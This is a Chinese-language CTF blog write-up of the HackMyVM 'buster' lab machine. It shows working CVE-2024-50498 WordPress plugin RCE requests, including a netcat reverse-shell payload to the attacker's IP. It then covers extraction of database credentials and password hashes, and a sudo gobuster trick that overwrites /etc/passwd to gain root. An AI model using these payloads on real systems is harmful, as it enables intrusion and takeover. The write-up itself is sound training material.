HMV buster - Zsm's blog

zsm

Time can create anything

浏览量：-，访问次数：-

Announcement

A ctfer? maybe.

Learn More

分类

标签

笔记 crypto docker golang HMV HTB k8s mac nodejs sagemath shell THM vscode vuln web windows wsl2

449 字

2 分钟

HMV buster

2025-02-16

渗透

HMV

浏览量：加载中...，访问次数：加载中...

buster#

靶场链接#

https://hackmyvm.eu/machines/machine.php?vm=buster

日常扫描#

扫出来80端口，打开发现是wordpress wpscan扫出来两个用户，继续扫描

反弹shell#

wpscan —api-token —url http://192.168.64.20/ -e u,ap —plugins-detection aggressive

扫出来漏洞插件wp-query-console，CVE-2024-50498 poc

1
POST /wp-json/wqc/v1/query HTTP/1.1
2
Host: kubernetes.docker.internal
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
4
Accept: */*
5
Accept-Language: en-US,en;q=0.5
6
Accept-Encoding: gzip, deflate, br
7
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-query-console
8
Content-Type: application/json
9
Content-Length: 45
10
Origin: http://kubernetes.docker.internal
11
Connection: keep-alive
12
Priority: u=0
13

14
{"queryArgs":"phpinfo();","queryType":"post"}

改成josn格式，bp发过去

看一下被禁用的

disable_functionspassthru,exec,system,popen,chroot,scandir,chgrp,chown,escapeshpassthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh

shell_exec可以试试

1
POST /wp-json/wqc/v1/query HTTP/1.1
2
Host: 192.168.64.20
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6
Accept-Encoding: gzip, deflate, br
7
Accept-Language: zh-CN,zh;q=0.9
8
Connection: close
9
Content-Type: application/json
10
Content-Length: 83
11

12
{"queryArgs":"shell_exec('nc -e /bin/bash 192.168.64.3 4444');","queryType":"post"}

本地成功拿到shell，开始提权

提权#

/usr/bin/script -qc /bin/bash /dev/null交互式终端 wp-config.php看看账号密码

1
// ** Database settings - You can get this info from your web host ** //
2
/** The name of the database for WordPress */
3
define( 'DB_NAME', 'wordpress' );
4

5
/** Database username */
6
define( 'DB_USER', 'll104567' );
7

8
/** Database password */
9
define( 'DB_PASSWORD', 'thehandsomeguy' );
10

11
/** Database hostname */
12
define( 'DB_HOST', 'localhost' );

查数据库，得到密码 ta0 - $P$ BDDc71nM67DbOVN/U50WFGII6EF6.r. welcome - $P$ BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/

爆出来welcome的密码，104567，ta0的爆了好久没出来

ssh上去之后发现sudo -l发现gobuster可以sudo无密码执行，这个就是提权点传个pspy上去看看运行的东西，发现/opt/.test.sh在后台运行，利用这个提权，但是不会（）。看了佬的wp，有一个gobuster的通杀提权方法？

1
perl -e 'print crypt("1","aa")'
2

3
cat a.py
4
from flask import Flask, Response
5

6
app = Flask(__name__)
7

8
@app.route('/', defaults={'path': ''})
9
@app.route('/<path:path>')
10
def catch_all(path):
11
    if len(path) == 36:
12
        return Response(status=404)
13
    else:
14
        return Response(status=200)
15

16
if __name__ == '__main__':
17
    app.run(host="0.0.0.0", port=80)
18

19
python a.py
20
 * Serving Flask app 'a'
21
 * Debug mode: off
22
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
23
 * Running on all addresses (0.0.0.0)
24
 * Running on http://127.0.0.1:80
25
 * Running on http://192.168.64.3:80
26
Press CTRL+C to quit
27

28
#靶机
29
echo 'aaa:aacFCuAIHhrCM:0:0:x:/root:/bin/bash' > aaa
30
sudo /usr/bin/gobuster -w aaa -u http://192.168.64.3 -n -q -o /etc/passwd
31
cat /etc/passwd
32
su - /aaa